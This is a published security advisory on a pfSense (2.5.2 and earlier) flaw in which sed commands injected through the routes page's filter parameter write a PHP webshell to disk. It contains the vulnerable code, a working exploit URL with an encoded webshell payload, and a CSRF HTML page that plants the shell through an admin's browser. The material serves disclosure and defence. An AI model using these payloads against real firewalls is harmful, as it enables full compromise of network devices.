Remote Code Execution in pfSense <= 2.5.2

Summary

pfSense allows authenticated users to get information about the routes set in the firewall. The information are retrieved by executing the netstat utility and then its output is parsed via the sed utility. While the common prevention patterns for command injections (i.e. the usage of the escapeshellarg function for the arguments) are in use, it is still possible to inject sed-specific code and write an arbitrary file in an arbitrary location. This vulnerability could be also exploited pre-authentication as the vulnerable endpoint is also vulnerable to a Cross-Site Request Forgery (CSRF).

Product Description (from vendor)

pfSense® Plus software is the world’s most trusted firewall. The software has garnered the respect and adoration of users worldwide - installed well over three million times. Made possible by open source technology. Made into a robust, reliable, dependable product by Netgate.

CVE(s)

Details

Root Cause Analysis

pfSense while trying to show the routes set in the firewall executes the sed utility with some user-controllable input.
sed - a stream editor - is a powerful utility to perform text transformations and has quite a lot of commands which could be defined as a single command line argument semicolon-separated. The ability of adding multiple commands in one argument is the key for this vulnerability.

What is important to specify before diving into the exploitation details is that pfSense is based on FreeBSD, so all the GNU-specific arguments of sed (e.g. the e/exec argument which could be used to run a system command) are not available.

An excerpt of the vulnerable code follows:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
35  if (isset($_REQUEST['isAjax'])) {
36  	require_once('auth_check.inc');
37  
38  	$netstat = "/usr/bin/netstat -rW";
39  	if (isset($_REQUEST['IPv6'])) {
40  		$netstat .= " -f inet6";
41  		echo "IPv6\n";
42  	} else {
43  		$netstat .= " -f inet";
44  		echo "IPv4\n";
45  
46  	}
47  	if (!isset($_REQUEST['resolve'])) {
48  		$netstat .= " -n";
49  	}
50  
51  	if (!empty($_REQUEST['filter'])) {
52  		$netstat .= " | /usr/bin/sed -e " . escapeshellarg("1,3d; 5,\$ { /" . htmlspecialchars($_REQUEST['filter']) . "/!d; };");
53  	} else {
54  		$netstat .= " | /usr/bin/sed -e '1,3d'";
55  	}
56  
57  	if (is_numeric($_REQUEST['limit']) && $_REQUEST['limit'] > 0) {
58  		$_REQUEST['limit']++;  // Account for the header line
59  		$netstat .= " | /usr/bin/head -n {$_REQUEST['limit']}";
60  	}
61  
62  	echo htmlspecialchars_decode(shell_exec($netstat));
63  
64  	exit;
65  }

At line 51-52 it could be seen that if the request contains a filter parameter then its HTML special characters are converted to their HTML entities. Then the input is prefixed and suffixed by some hard-coded sed syntax, and finally everything is escaped by the escapeshellarg function, which prevents sub-commands or other arguments from being injected. At line 62 the command is finally executed.

As mentioned before it is possible to inject arbitrary sed syntax, having the only limitation that the input is encoded via the htmlspecialchars function. This allows to use the s/match/replace/ command to replace part of the netstat output with an arbitrary string and the w /path/to/file command to write the output of the sed command to an arbitrary location.

Wrapping everything together an attacker could set in the filter parameter the following string: .*/!d;};s/Destination/\x3c\x3fphp+system($_GET[\x22a\x22])\x3b\x3f\x3e/;w+/usr/local/www/a.php%0a%23 Which will result in the following command to be run:

/usr/bin/netstat -rW -f inet | /usr/bin/sed -e '1,3d; 5,\$ { /!d;};s/Destination/\x3c\x3fphp system($_GET[\x22a\x22])\x3b\x3f\x3e/;w /usr/local/www/a.php
#/!d; };'

As the netstat utility always outputs the Destination string, it was chosen to be replaced with <?php system($_GET["a"]);?> and then the output is written to /usr/local/www/a.php.

Proof of Concept

  1. Login to pfSense
  2. Visit the following URL by replacing <target> with the IP address / domain of the target pfSense instance: http://<target>/diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\x3c\x3fphp+system($_GET[\x22a\x22])\x3b\x3f\x3e/;w+/usr/local/www/a.php%0a%23
  3. Visit the following URL by replacing <target> with the IP address / domain of the target pfSense instance and notice that the id command has been executed: http://<target>/a.php?a=id

Impact

An authenticated attacker could write an arbitrary file to the pfSense disk. This can be abused to write a webshell to execute arbitrary code / commands.

It should be noted that due to a lack of Cross-Site Request Forgery (CSRF) protections for the vulnerable endpoint it is possible for an attacker to trick an authenticated admin into visiting a malicious website to exploit the vulnerability through the victim’s session/browser. More details are available in the Cross-Site Request Forgery advisory.

A proof of concept to exploit the vulnerability through the CSRF follows:

  1. Login to pfSense
  2. Create an HTML file with the following content by replacing <target> with the IP address / domain of the target pfSense instance:
1
2
3
4
<meta name="referrer" content="no-referrer">
<script>
window.location = "http://<target>/diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\\x3cscript\\x3eif\\x28location.pathname\\x21\\x3d\\x27\\x2fa.php\\x27\\x29\\x7blocation\\x3d\\x27\\x2fa.php\\x3fa\\x3did\\x27\\x7d\\x3c\\x2fscript\\x3e\\x3c\\x3fphp+system($_GET[\\x22a\\x22])\\x3b\\x3f\\x3e/;w+/usr/local/www/a.php%0a%23"
</script>
  1. Visit the following URL by replacing <target> with the IP address / domain of the target pfSense instance and notice the 404 error: http://<target>/a.php?a=id
  2. Host the HTML page created at step 2 on a webserver and visit it in the same browser used for the other steps
  3. Notice that the Arbitrary File Write has been exploited to create a webshell in /usr/local/www/a.php and the victim is redirected to the webshell (http://<target>/a.php?a=id) to execute the id command

Remediation

Upgrade pfSense CE to version 2.6.0 or pfSense Plus to version 22.01.

Disclosure Timeline

Credits

  • Abdel Adim `smaury` Oisfi of Shielder

This advisory was first published on https://www.shielder.com/advisories/pfsense-remote-command-execution/

Date

23 February 2022